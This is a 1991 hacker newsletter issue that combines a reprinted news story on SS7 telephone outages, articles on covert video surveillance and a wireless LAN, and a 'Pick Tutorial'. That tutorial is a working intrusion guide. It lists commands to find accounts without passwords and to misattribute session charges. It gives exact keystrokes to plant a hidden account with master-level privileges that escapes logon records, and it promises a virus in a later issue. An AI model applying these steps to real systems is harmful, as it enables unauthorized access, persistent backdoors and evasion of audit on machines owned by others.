540 lines
26 KiB
Plaintext
540 lines
26 KiB
Plaintext
|
|
=======================================
|
|
T H E N E W F O N E E X P R E S S
|
|
=======================================
|
|
|
|
The newsletter of the Society for the Freedom of Information (SFI)
|
|
|
|
Electronic Edition
|
|
---------------------------------------------------------------------------
|
|
|
|
The publisher, SFI, distribution site(s), and authors contributing to the NFX
|
|
are protected by the Bill of Rights in the U.S. Constitution,which specifically
|
|
protects freedom of speech and freedom of the press. The information provided
|
|
in this magazine is for informational purposes only, and the publisher, SFI,
|
|
distribution site(s) and authors are not responsible for any problems resulting
|
|
>from the use of this information. Nor is SFI responsible for consequences
|
|
resulting from authors' actions. This disclaimer is retroactive to all previous
|
|
issues of the NFX.
|
|
|
|
We accept article submissions of nearly any sort, about hack/phreak/anarchy/
|
|
gov't/nets/etc. We will also send the author a free printed issue for each
|
|
article written.
|
|
|
|
The printed edition of the newsletter is finally available for $24 (U.S.) per
|
|
year, until we find a cheaper way to reproduce it on paper. Articles may also
|
|
be submitted to this address. Send mail to the New Fone Express, Box 639,
|
|
15405 Michigan Rd., Woodbridge, VA 22191.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
Highlights for Issue #3/August 1991
|
|
===================================
|
|
|
|
* Phones Take Lunch Break ... typed by Silicon Avalanche, edited
|
|
(see article #1)
|
|
* SUPPLEMENT: What Happened?
|
|
|
|
* A Pick Tutorial pt.2 ... by Silicon Avalanche
|
|
(see article #2)
|
|
|
|
* State of Surveillance pt.3 ... by the Cavalier
|
|
(see article #3)
|
|
|
|
* Altair Wireless LANs ... by the Cavalier
|
|
(see article #4)
|
|
|
|
* Corrections ... edited
|
|
(see article #5)
|
|
|
|
* Editorial and Bell IS News ... by the Cavalier
|
|
(see article #6)
|
|
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
Phones Take Lunch Break
|
|
|
|
|
|
... Computer Failure Disables Pa. Phones...
|
|
... Outage Linked to Problem That Hit Here ...
|
|
... by Cindy Skrzycki and Evelyn Richards ...
|
|
... Washington Post Staff Writers ...
|
|
|
|
Telephone service in Pittsburgh and other parts of Pennsylvania was
|
|
paralyzed yesterday (7/1/91) by the same sort of massive computer software
|
|
failure that knocked phones out in the Washington area only four days ago
|
|
(6/29/91).
|
|
|
|
The outage in Pittsburgh interfered with service to about 1 million
|
|
customers, or about one-third of the state, beginning just after 11 a.m.
|
|
Service was restored by 5:15 p.m.
|
|
|
|
Later yesterday (7/1/91), service was disrupted for several minutes in
|
|
San Francisco, which telephone company officials attributed to the same
|
|
problem.
|
|
|
|
The failures in Pennsylvania happened just as Bell Atlantic Corp., the
|
|
parent company of both Chesapeake & Potomac Telephone Cos. and Bell of
|
|
Pennsylvania, was trying to reach some conclusion on the cause of the
|
|
disruption in Washington, which was probably the most massive collapse in
|
|
local phone service ever.
|
|
|
|
The Pennsylvania problem was the third major disruption to hit a
|
|
metropolitan area in less than a week. Last Wednesday, Los Angeles lost phone
|
|
service for much of the same time that some 6.3 million lines were out in
|
|
four states served by C&P.
|
|
|
|
Each of the problems, which have telecommunications experts scrambling
|
|
for explanations, is linked to the same type of computer switch and software
|
|
that allows phone companies to offer sophisticated services such as Caller
|
|
ID. The switch and software are manufactured by DSC Communications Corp. of
|
|
Plano Tex., (214)519-3000, the largest supplier of such equipment.
|
|
|
|
The rash of software-related disruptions confirms the predictions of many
|
|
telecommunications experts that outages will recur because of the complexity
|
|
of the new technology.
|
|
|
|
Customers in Pennsylvania, as in Washington, found when the outage hit
|
|
that they had difficulty calling across town and making toll calls to nearby
|
|
exchanges.
|
|
|
|
Dessi Plutis, who lives in Pittsburgh, ran up against the problem when
|
|
she tried to make a call across town. "The line was busy, busy, busy,"
|
|
Plutis said. "I assumed they took the phone off the hook."
|
|
|
|
What really was happening was a near replication of a major software
|
|
glitch that hit in the Washington area last Wednesday around the same time of
|
|
day. In that case, a complex computer switching system called Signaling
|
|
System 7 broke down in Baltimore and quickly affected three other computer
|
|
switches that route and set up calls for the Washington area. The computers
|
|
went into overload and shut down after reacting to a flood of maintenance
|
|
messages in the system. These messages tell computers in the telephone
|
|
network that some congestion, real or imagined, or some other problem is
|
|
being experienced.
|
|
|
|
The flood of these messages prevents other calls from going through. In
|
|
Pennsylvania, an overload of maintenance messages between two Signaling
|
|
System 7 computers also seems to be the culprit. "When it overloaded, it
|
|
backed up to the other one," said Eric Rabe, spokesman for Bell of
|
|
Pennsylvania.
|
|
|
|
What experts find most intriguing is the fact that all of the problems
|
|
seem to be traceable to the software supplied by DSC. The company recently
|
|
completed shipment on its hundredth Signaling System 7 switch and counts
|
|
among its major customers the regional telephone companies and long-distance
|
|
carriers such as MCI Communications Corp. and US Sprint Communications Co.
|
|
|
|
A spokesman for DSC said Signaling System 7 is "the leading product in
|
|
the industry. It has run flawlessly for a number of years. We still don't
|
|
know that it isn't."
|
|
|
|
The spokesman said the computer did what it was supposed to do - shut
|
|
down when it's overloaded. He said approximately 200 people are working
|
|
"around the clock" to prevent a recurrence of the outages, and phone
|
|
companies have been sensitized for what conditions to watch for, as well as
|
|
how to isolate, stabilize and restore service.
|
|
|
|
"We know the symptoms. We don't know the cause," the DSC spokesman said.
|
|
The outages on the Eastern seaboard present a major image and reliability
|
|
problem for Bell Atlantic. All told, the company has had major problems in
|
|
five of the seven states it serves in the last week. "Obviously, [the
|
|
breakdown] doesn't help us, but... I hope we've built up a lot of years of
|
|
understanding that quality is the name of the game," said Anton J.
|
|
Campanella, president of Bell Atlantic. "We are not going to rest until we
|
|
find the answer to this one." Bell Atlantic said it is working closely with
|
|
DSC and that the switch manufacturer has provided software "patches" to
|
|
prevent the problem from recurring by shutting down maintenance messages.
|
|
But the company clearly is worried that some element of Signaling System 7
|
|
may somehow be inherently flawed. "My tummy gets upset when a manufacturer
|
|
delivers a product that doesn't work correctly," said Campanella, though he
|
|
stressed that the problem hasn't been identified. He also said that a virus
|
|
is not being ruled out since all of the occurrences in the Bell Atlantic
|
|
network seemed to start around the same time of day. The company has been in
|
|
contact with the FBI to follow up on that possibility.
|
|
|
|
Pacific Bell, whose problems began on June 10, also has been in close
|
|
touch with DSC. "We were entirely unhappy with what happened June 10," said
|
|
Sue Galloway, regional switching manager for Pacific Bell's Southern
|
|
California network operations. "Even though analysis was going on, we were
|
|
concerned and we wanted to send a very clear message." The company was so
|
|
concerned that Pacific Bell called in DSC's chairman to meet with top
|
|
telephone officials in northern California, a Pacific Bell official said. In
|
|
San Francisco, a computer began spitting out congestion messages about 11
|
|
a.m. Pacific time. Traffic was rerouted and service was restored. The outage
|
|
in Pennsylvania also caused officials at C&P to rethink an announcement
|
|
yesterday about how customers in the Washington region might be compensated
|
|
for their troubles last Wednesday. "It may be premature to make any kind of
|
|
announcement," said Michael Daley, spokesman for C&P in the District. "We'll
|
|
talk about what we can do for customers when we get over the hurdles of these
|
|
phone outages."
|
|
|
|
... Staff writer John Burgess contributed to this report ...
|
|
|
|
|
|
... Courtesy of Silicon Avalanche of SFI ...
|
|
... from The Washington Post, July 2, 1991, pgs. D1 and D4. ... ><
|
|
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
What Happened?
|
|
|
|
As far as we could guess, the common denominator in all these cases was
|
|
a switch that was processing a large number of calls. Due to SS7's
|
|
capability to pass network traffic off to other switches, it tried to do so,
|
|
but ended up passing an overload message instead. The second switch then
|
|
decided that it wanted to be overloaded, and it cascaded through the local
|
|
network of CCS7-connected switches, thereby locking up the entire SS7-capable
|
|
network. DSC Communications eventually turned out to be the culprit -
|
|
another bug in the SS7 software, which was written by the DSC people. We've
|
|
been told that this is not exactly what happened with the AT&T network crash
|
|
on Jan. 15, 1990, however: apparently AT&T writes their own STP (signaling
|
|
transfer point, a module that allows switches to run SS7) software. We would
|
|
venture a guess that DSC is a vendor of STPs - and a popular one at that. ><
|
|
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
A Pick Tutorial
|
|
|
|
|
|
A Pick Tutorial - Courtesy of Silicon Avalanche of SFI
|
|
Installment #2
|
|
|
|
TICKLE, TICKLE...
|
|
|
|
Well, by now you should have some means of getting in and out of some
|
|
account on a Pick system, whether it be the TUTOR account, or some other
|
|
system account. The best place to be is at what is called TCL (pronounced
|
|
"tickle"), short for 'T'erminal 'C'ommand 'L'evel. This is the main command
|
|
level, Pick's version of Direct Mode. If you're not there, and you're at a
|
|
menu or some other place, try "Q", "X", "<ESC>", and other such options, to
|
|
see which of them may work. Try sending a <BREAK> character, or <CTRL>-"C",
|
|
this should take you to either the Pick/Basic Debugger or the System
|
|
Debugger. If this is the case, you should be taken to a prompt similar to:
|
|
|
|
I502 or 274.263
|
|
* !
|
|
|
|
at the prompt, enter
|
|
|
|
END <cr>
|
|
|
|
and hopefully you'll be at TCL. Worst case, you'll be back at the menu you
|
|
just left. If this is the case, find the way to logoff, and find a new
|
|
account to use. You've hit a dead end on this one.
|
|
|
|
WHAT CAN I DO NOW?
|
|
|
|
Command / Function & Output
|
|
-----------------------------------------------------------------------------
|
|
LISTFILES / Lists the files available from the account you're in
|
|
WHO / Tells you what account and port # you're logged onto
|
|
LISTU / Lists the other users on the system and the accounts
|
|
/ they're logged onto
|
|
TIME / Gives the system time
|
|
DATE / Gives the system date
|
|
LIST GAMES / On many systems, lists a file of games to play
|
|
LOGON / Log another port onto a specified account
|
|
LOGOFF / Log another port off
|
|
LOGTO acct / Change accounts from the current one to 'acct'
|
|
-----------------------------------------------------------------------------
|
|
|
|
|
|
More Interesting Commands:
|
|
|
|
LIST ONLY SYSTEM <cr>
|
|
Lists all valid accounts on the system
|
|
|
|
LIST ONLY SYSTEM WITH *A7 = "" <cr>
|
|
Lists all valid accounts on the system that have NO PASSWORD
|
|
|
|
CHARGE-TO acctname <cr>
|
|
Makes the system record think you are logged onto another account
|
|
(acctname). Confusing to explain, but a good thing to do if you're
|
|
hacking..
|
|
|
|
-----------------------------------------------------------------------------
|
|
** The PICK Glossary has been dropped from this installment of A Pick
|
|
Tutorial in the name of brevity. It will be printed in a later installment.
|
|
**
|
|
-----------------------------------------------------------------------------
|
|
|
|
|
|
|
|
HOW DO I MAKE MY OWN ACCOUNT?
|
|
|
|
By using the following process, you will create a system-level account that
|
|
has the same privileges as SYSPROG, the master account on the system.
|
|
|
|
>From the TCL prompt, type
|
|
|
|
ED SYSTEM acctname <cr>
|
|
|
|
where acctname is the name of the account that you want to create to use for
|
|
access at a later date. The system will respond with something like:
|
|
|
|
NEW ITEM
|
|
TOP
|
|
.
|
|
|
|
and the cursor will be positioned to the right of the '.'. Now type
|
|
|
|
I <cr>
|
|
|
|
and the computer will respond with
|
|
|
|
001+
|
|
|
|
and will await entry of the lines of information. Type the following EXACTLY
|
|
AS IT IS WRITTEN!
|
|
|
|
Q <cr>
|
|
SYSPROG <cr>
|
|
. <cr>
|
|
. <cr>
|
|
. <cr>
|
|
. <cr>
|
|
. <cr>
|
|
SYS2 <cr>
|
|
L <cr>
|
|
10 <cr>
|
|
<cr>
|
|
F <cr>
|
|
RU99/.// <cr>
|
|
FI <cr>
|
|
|
|
Now you will be back at the TCL prompt. Your account is now created. Type
|
|
|
|
LOGTO acctname <cr>
|
|
|
|
where acctname is the name of the account you just made, and you will be in
|
|
your new account. If you want to put a password on your new account, type
|
|
|
|
PASSWORD <cr>
|
|
|
|
and you'll be prompted for the account name and password you wish to use.
|
|
Enter this information, and when prompted for the next account name, hit
|
|
<cr> and you'll return to the TCL prompt. Passwords can be any length,
|
|
comprised of virtually any characters, including control codes, as stated in
|
|
installment #1 of the Pick Tutorial.
|
|
|
|
|
|
WHAT NOW?
|
|
|
|
Play around in your new account, see what things do, take as much time as you
|
|
like. The system does not record logon/logoff or on-line times for this
|
|
account, because it was not created to track such things. Since this is the
|
|
case, the only way that your account will be noticed is if someone looks at
|
|
the SYSTEM file to see all the accounts on the system.
|
|
|
|
|
|
WHAT'S NEXT?
|
|
|
|
The next installment of The Pick Tutorial will contain information on a
|
|
simple Pick Virus, and other methods of wreaking havoc on the system. (For
|
|
the benevolent ones of you, this will still be useful information.)
|
|
><
|
|
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
State of Surveillance pt.3
|
|
|
|
This third installment covers video bugs. First off, we'll start with
|
|
the video camera. Since walking around pointing shoulder-held video cameras
|
|
at people tends to be somewhat obvious, companies have made cameras that are
|
|
the size of matchboxes, being somewhere around an inch and a half square.
|
|
This is, of course, without power supply or tape. A neat trick for observing
|
|
people in rooms is to run a fiber optic cable through a lens or two to the
|
|
camera, and to run the other end through a pinhole in the wall. In this way,
|
|
the light from the room will enter the fiber optic cable and be recorded on
|
|
the other end by a camera, conveniently out of sight on the other side of the
|
|
wall. I've also been told about a fake car antenna that has a similar
|
|
pinhole and fiber optic assembly leading down to a camera and transmitter
|
|
under the antenna. The antenna rotates and sends a video image to a
|
|
briefcase with a receiver and a TV screen. It's supposedly used for
|
|
stakeouts. Through fiber optics, one can mount the actual camera almost
|
|
anywhere.
|
|
|
|
Another type of 'video bug,' in a way, is night-vision. There are t
|
|
wo
|
|
major commercial approaches to night vision: infrared and image
|
|
amplification. Infrared vision can be accomplished in one of two ways:
|
|
active or passive. Active infrared vision consists of an infrared flashlight
|
|
and a camera or goggles that are sensitive to infrared light. The subjects
|
|
never know they're being watched, unless they have an infrared-sensitive
|
|
device. The best way to detect if you are being watched by an active
|
|
infrared camera is to buy an infrared detector card used for testing remote
|
|
controls, such as Radio Shack sells for $6.95. Assuming this will be done in
|
|
the dark, the card should fluoresce when hit by strong infrared light.
|
|
|
|
Passive infrared vision is a little bit more tricky. This type of
|
|
vision doesn't depend on an infrared light source; therefore, it is a lot
|
|
harder to detect. This system detects the differences in the amount of heat
|
|
given off by objects and translates it into a video image. As a side
|
|
benefit, these systems can be so sensitive that they can detect a handprint
|
|
up to five minutes after the subject has left, simply because of the heat
|
|
difference. Passive infrared can't be detected by the above-mentioned card.
|
|
|
|
Image amplification is a technique used for amplifying the amount of
|
|
visible light incident on the goggles and turning it into a video image.
|
|
Along with passive infrared vision, image amplification is another technique
|
|
the United States military uses. As a matter of fact, image amplification
|
|
was used extensively in the so-called 'Desert Storm conflict,' by forward
|
|
scouts who needed to see in the dark.
|
|
|
|
Another meaning of 'video bug' can be applied to TEMPEST equipment, or
|
|
what is sometimes called Van Eck phreaking. Video screens, computers,
|
|
'intelligent' keyboards (like those found on IBM/IBM compatibles) all send
|
|
out immense amounts of what most people regard as RF interference. However,
|
|
with the proper equipment, these signals can be picked up and read from as
|
|
far as one kilometer away. The defense against this, of course, is to shield
|
|
your computer from this type of emission. A few years ago, GRiD Inc. (now
|
|
part of Tandy) sold some TEMPEST-shielded computer equipment to the
|
|
Government, so you may wish to contact them.
|
|
|
|
The next installment will cover miscellaneous other counter-surveillance
|
|
and personal-protection type items, and will supposedly be the last. ><
|
|
|
|
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
Altair Wireless LANs
|
|
|
|
The Altair wireless LAN system (or the Altair Wireless In-Building
|
|
Network, or WIN for short, as Motorola likes to say) is probably the most
|
|
technologically-advanced wireless LAN system on the market. The major
|
|
difference between the Altair network and other competing wireless products
|
|
is that the Altair uses the 18-GHz DTS band to transmit, allowing speeds as
|
|
fast as 15 MBps. Since Ethernet's top speed is 10 MBps, the Altair WIN
|
|
should easily be able to handle the amount of communication. Also, since the
|
|
DTS band is quite uncrowded, the LAN doesn't have to deal with as much
|
|
interference as wireless LANs that operate in the UHF band. Since that band
|
|
is also allocated to cellular phones, television, FM radio, and 'high-
|
|
performance' walkie-talkies, they also need to use spread-spectrum
|
|
transmission. Simply put, this type of transmission will limit the bandwidth
|
|
to 1.5 - 2 MBps, far too slow for true Ethernet. Infrared LANs only work
|
|
when the computers in general share a 'common ceiling,' quite literally.
|
|
Most infrared LANS consist of modules aimed at the ceiling. In this way,
|
|
the light should bounce of the ceiling and down to another computer. This
|
|
technology has serious problems when the surface in question is textured or
|
|
non-flat in any way.
|
|
|
|
A typical Altair LAN consists of one Control Module, or CM, and one or
|
|
more User Modules, or UMs, per microcell. One CM can have up to 32 Ethernet
|
|
devices in a microcell, and each UM can be hooked up to a maximum of six
|
|
Ethernet devices (i.e. workstations, printers, etc.). Data security is
|
|
exceptional, for three reasons. The first is the frequency at which the data
|
|
is transmitted. The 18 GHz frequency area is extremely hard to pick up
|
|
without large, high-priced, ultra-sensitive microwave detection equipment
|
|
(incidentally, similar to that used to pick up monitor and computer emissions
|
|
- see "State of Surveillance pt.3," elsewhere in the issue). Signals in this
|
|
range of the spectrum act like light in that they partially reflect off
|
|
surfaces, and like radio in that they penetrate non-structural walls (i.e.
|
|
drywall, and walls that aren't thick concrete, etc.) Because the signal
|
|
reflects, multipath distortion (similar to that experienced with 'ghosting'
|
|
on a TV set) would effectively scramble the signals beyond recognition. Not
|
|
to mention, since the maximum output power is 25 mW, this equipment would
|
|
have to be positioned very close to the microcell itself. For this reason,
|
|
one can have another Altair microcell operating independently as close as 200
|
|
feet away.
|
|
|
|
A second reason is that the network automatically scrambles data sent
|
|
between the CMs and UMs. Each UM has a specific scrambling code, similar to
|
|
an address. This 16-bit code can have one of 65,535 possible values, and is
|
|
in addition to the slot-assigned 10-bit 1024-combination code, which is
|
|
changed every time data is sent between modules.
|
|
|
|
The third reason is that the network supervisor can enter a list of 12-
|
|
digit UM Ethernet addresses from all of the UMs that are supposed to be in
|
|
the network. The CM will then ignore any UM whose registration number is not
|
|
on the list. The UM can then neither transmit or receive data, since both
|
|
operations must be verified by the CM by a slot assignment before they take
|
|
place.
|
|
|
|
The protocol used is a variant on the 'slotted Aloha' protocol: for
|
|
every transaction, the UM requests a transmission slot from the CM. When the
|
|
CM has verified that the UM should exist on the network, the CM executes the
|
|
request, scrambling per both the 10-bit conversation code and the 16-bit UM
|
|
ID code. The actual transmission protocol is built into a VLSI ASIC chip,
|
|
which uses four-level frequency-shift keying (similar to that of 2400 and
|
|
9600 baud modems, which split the signal across four 600 or 2400 bps
|
|
segments) and handles miscellaneous network functions. Since the network is
|
|
packet-switched, it also handles CRC checksums and CSMA functions, providing
|
|
a bit error rate of 10 to the negative eighth power (according to Motorola).
|
|
The ICs that actually transmit and receive the information are five GaAs
|
|
(gallium arsenide) chips, hooked up to a six-sector antenna. At the
|
|
beginning of each transmission, the system sweeps through each combination of
|
|
antennae for transmission and reception, 36 in all. Each antenna occupies a
|
|
60-degree arc, so when an obstacle is placed in the path of a transmission
|
|
the system automatically reconfigures the antenna network for a better path.
|
|
The system's operating frequencies are the 18.820-18.870 GHz band and the
|
|
19.160-19.210 GHz band, both licensed from the FCC under the DTS (Digital
|
|
Termination Service) designation and well into the microwave range.
|
|
|
|
The Altair WIN will most probably be the wireless LAN technology of the
|
|
'90s. Using the Altair system, a business can have a microcell on each
|
|
floor, with the CMs connected through an Ethernet backbone. The security of
|
|
the LAN is so bulletproof that it would be a lot easier to try to hack into
|
|
the LAN itself, and businesses will appreciate this. For more information,
|
|
contact Motorola's Altair division. ><
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
Corrections
|
|
|
|
Silicon Avalanche's handle IS Silicon Avalanche, not "Silicon Lightning"
|
|
as misprinted in NFX #2. ><
|
|
|
|
------------------------------------------------------------------------------
|
|
------------------------------------------------------------------------------
|
|
|
|
Editorial
|
|
|
|
Right before we went to press, it was just announced that the Baby Bell
|
|
RBOCs have just been allowed to enter the information services business,
|
|
under pressure from the Dept. of Justice and the FCC. Judge Greene (the
|
|
judge presiding over the breakup of AT&T in 1982) made the ruling apparently
|
|
against his will, but he did leave a block of time to allow appeals.
|
|
|
|
Well here we are at the end of the third issue... By the way,
|
|
sorry about putting the above piece of news in the editorial, but I
|
|
couldn't find anywhere else to... There is now a way to subscribe to the New
|
|
Fone Express, or to send articles, if you want - see the header. Also, to
|
|
download the NFX, there is now an account on Secret Society (see the header
|
|
on this one, too).. And by the way, no, I'm not the sysop -- the sysop is
|
|
Grim, and he's been a great help in getting the NFX out. [Thanks!]
|
|
|
|
This one is a little smaller than #2.. we didn't get in that many
|
|
articles this time around, but that's probably because it's July... I barely
|
|
even had time to do much either, but I think this one is still better than
|
|
the first. <grin> I'm saving up a lot of the information for a big
|
|
Trendwatch column for NFX #4.. I didn't have too much this time around, so I
|
|
figured it would be better to put it all in a combined one.
|
|
|
|
During a trip to Canada, it was somewhat amusing to visit the Bell
|
|
Canada building in Toronto -- they were so proud of their Northern Telecom
|
|
SL-1 switch, they had in on display behind plexiglas in the lobby!.. A little
|
|
farther out, we ran into more party lines than we knew what to do with, and
|
|
we promptly kicked ourselves for not bringing some sort of.. tone-generating
|
|
device, that's it!... Oh well..
|
|
|
|
BTW, Dr. Logic -- I haven't forgotten you, I'll get back to you ASAP if
|
|
I haven't already by the time you see this..
|
|
|
|
And I think that will just about wrap this issue up. Until next
|
|
time. ><
|
|
|
|
|